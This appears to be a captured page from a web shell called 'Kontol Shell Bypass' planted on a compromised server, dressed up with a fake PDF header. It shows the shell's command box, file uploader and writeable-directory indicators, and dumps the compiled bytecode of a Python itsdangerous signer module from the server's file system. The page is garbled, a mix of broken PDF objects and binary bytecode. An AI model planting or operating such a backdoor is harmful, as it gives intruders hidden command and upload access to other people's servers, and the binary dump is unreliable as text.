%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/itsdangerous/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/itsdangerous/__pycache__/signer.cpython-39.pyc
a

�_g�%�@s�ddlmZddlmZddlZddlZddlZddl	m
Z
ddl	mZddl	mZddl	m
Z
ddlmZGd	d
�d
�ZGdd�de�Zdddd�dd�ZGdd�de�Zddd�dd�ZGdd�d�ZdS)�)�annotationsN�)�_base64_alphabet)�
base64_decode)�
base64_encode��
want_bytes)�BadSignaturec@s6eZdZdZdddd�dd�Zddddd�dd	�Zd
S)�SigningAlgorithmzgSubclasses must implement :meth:`get_signature` to provide
    signature generation functionality.
    �bytes��key�value�returncCs
t��dS)z2Returns the signature for the given key and value.N)�NotImplementedError��selfr
r�r�@/vddos/python/lib/python3.9/site-packages/itsdangerous/signer.py�
get_signatureszSigningAlgorithm.get_signature�bool)r
r�sigrcCst�||�||��S)zMVerifies the given signature matches the expected
        signature.
        )�hmac�compare_digestr)rr
rrrrr�verify_signaturesz!SigningAlgorithm.verify_signatureN)�__name__�
__module__�__qualname__�__doc__rrrrrrr
sr
c@s"eZdZdZdddd�dd�ZdS)�
NoneAlgorithmz`Provides an algorithm that does not perform any signing and
    returns an empty signature.
    rrcCsdS)N�rrrrrr$szNoneAlgorithm.get_signatureN)rrrrrrrrrrsrr r�t.Any)�stringrcCs
t�|�S)z�Don't access ``hashlib.sha1`` until runtime. FIPS builds may not include
    SHA-1, in which case the import and use as a default would fail before the
    developer can configure something else.
    )�hashlib�sha1)r"rrr�
_lazy_sha1(sr%c@sDeZdZUdZee�Zded<ddd�dd�Zdddd	�d
d�Z	dS)
�
HMACAlgorithmz*Provides signature generation using HMACs.r!�default_digest_methodN)�
digest_methodcCs|dur|j}||_dS)N)r'r()rr(rrr�__init__8szHMACAlgorithm.__init__rrcCstj|||jd�}|��S)N)�msg�	digestmod)r�newr(�digest)rr
r�macrrrr>szHMACAlgorithm.get_signature)N)
rrrr�staticmethodr%r'�__annotations__r)rrrrrr&0s
r&�7str | bytes | cabc.Iterable[str] | cabc.Iterable[bytes]zlist[bytes]��
secret_keyrcCs&t|ttf�rt|�gSdd�|D�S)NcSsg|]}t|��qSrr)�.0�srrr�
<listcomp>Ir z#_make_keys_list.<locals>.<listcomp>)�
isinstance�strrr)r3rrr�_make_keys_listCs
r9c@s�eZdZUdZee�Zded<dZded<d(d
ddd
ddd�dd�Z	e
dd�dd��Zd)ddd�dd�Zddd�dd�Z
ddd�dd�Zdddd �d!d"�Zddd#�d$d%�Zddd#�d&d'�Zd	S)*�Signera�A signer securely signs bytes, then unsigns them to verify that
    the value hasn't been changed.

    The secret key should be a random string of ``bytes`` and should not
    be saved to code or version control. Different salts should be used
    to distinguish signing in different contexts. See :doc:`/concepts`
    for information about the security of the secret key and salt.

    :param secret_key: The secret key to sign and verify with. Can be a
        list of keys, oldest to newest, to support key rotation.
    :param salt: Extra key to combine with ``secret_key`` to distinguish
        signatures in different contexts.
    :param sep: Separator between the signature and value.
    :param key_derivation: How to derive the signing key from the secret
        key and salt. Possible values are ``concat``, ``django-concat``,
        or ``hmac``. Defaults to :attr:`default_key_derivation`, which
        defaults to ``django-concat``.
    :param digest_method: Hash function to use when generating the HMAC
        signature. Defaults to :attr:`default_digest_method`, which
        defaults to :func:`hashlib.sha1`. Note that the security of the
        hash alone doesn't apply when used intermediately in HMAC.
    :param algorithm: A :class:`SigningAlgorithm` instance to use
        instead of building a default :class:`HMACAlgorithm` with the
        ``digest_method``.

    .. versionchanged:: 2.0
        Added support for key rotation by passing a list to
        ``secret_key``.

    .. versionchanged:: 0.18
        ``algorithm`` was added as an argument to the class constructor.

    .. versionchanged:: 0.14
        ``key_derivation`` and ``digest_method`` were added as arguments
        to the class constructor.
    r!r'�
django-concatr8�default_key_derivation�itsdangerous.Signer�.Nr1zstr | bytes | Nonezstr | bytesz
str | Nonezt.Any | NonezSigningAlgorithm | None)r3�salt�sep�key_derivationr(�	algorithmcCs�t|�|_t|�|_|jtvr&td��|dur8t|�}nd}||_|durP|j}||_|durd|j	}||_
|dur|t|j
�}||_dS)Nz�The given separator cannot be used because it may be contained in the signature itself. ASCII letters, digits, and '-_=' must not be used.r=)
r9�secret_keysrr@r�
ValueErrorr?r<rAr'r(r&rB)rr3r?r@rAr(rBrrrr)�s&


�

zSigner.__init__r)rcCs
|jdS)z�The newest (last) entry in the :attr:`secret_keys` list. This
        is for compatibility from before key rotation support was added.
        ���)rC)rrrrr3�szSigner.secret_keyr2cCs�|dur|jd}nt|�}|jdkrBt�t|�|j|����S|jdkrlt�t|�|jd|����S|jdkr�t	j
||jd�}|�|j�|��S|jdkr�|Std	��dS)
a�This method is called to derive the key. The default key
        derivation choices can be overridden here. Key derivation is not
        intended to be used as a security method to make a complex key
        out of a short password. Instead you should use large random
        secret keys.

        :param secret_key: A specific secret key to derive from.
            Defaults to the last item in :attr:`secret_keys`.

        .. versionchanged:: 2.0
            Added the ``secret_key`` parameter.
        NrE�concatr;ssignerr)r+�nonezUnknown key derivation method)
rCrrA�t�castrr(r?r-rr,�update�	TypeError)rr3r.rrr�
derive_key�s 


�

zSigner.derive_key)rrcCs&t|�}|��}|j�||�}t|�S)z*Returns the signature for the given value.)rrLrBrr)rrr
rrrrr�szSigner.get_signaturecCst|�}||j|�|�S)zSigns the given string.)rr@r)rrrrr�sign�szSigner.signr)rrrcCs^zt|�}Wnty YdS0t|�}t|j�D]$}|�|�}|j�|||�r4dSq4dS)z+Verifies the signature for the given value.FT)r�	Exceptionr�reversedrCrLrBr)rrrr3r
rrrr�s
zSigner.verify_signature)�signed_valuercCs^t|�}|j|vr$td|j�d���|�|jd�\}}|�||�rF|Std|�d�|d��dS)zUnsigns the given string.zNo z found in valuerz
Signature z does not match)�payloadN)rr@r	�rsplitr)rrPrrrrr�unsign�s
z
Signer.unsigncCs*z|�|�WdSty$YdS0dS)znOnly validates the given signed value. Returns ``True`` if
        the signature exists and is valid.
        TFN)rSr	)rrPrrr�validates

zSigner.validate)r=r>NNN)N)rrrrr/r%r'r0r<r)�propertyr3rLrrMrrSrTrrrrr:Ls"
+�.!r:)r )�
__future__r�collections.abc�abcZcabcr#r�typingrH�encodingrrrr�excr	r
rr%r&r9r:rrrr�<module>s		

Kontol Shell Bypass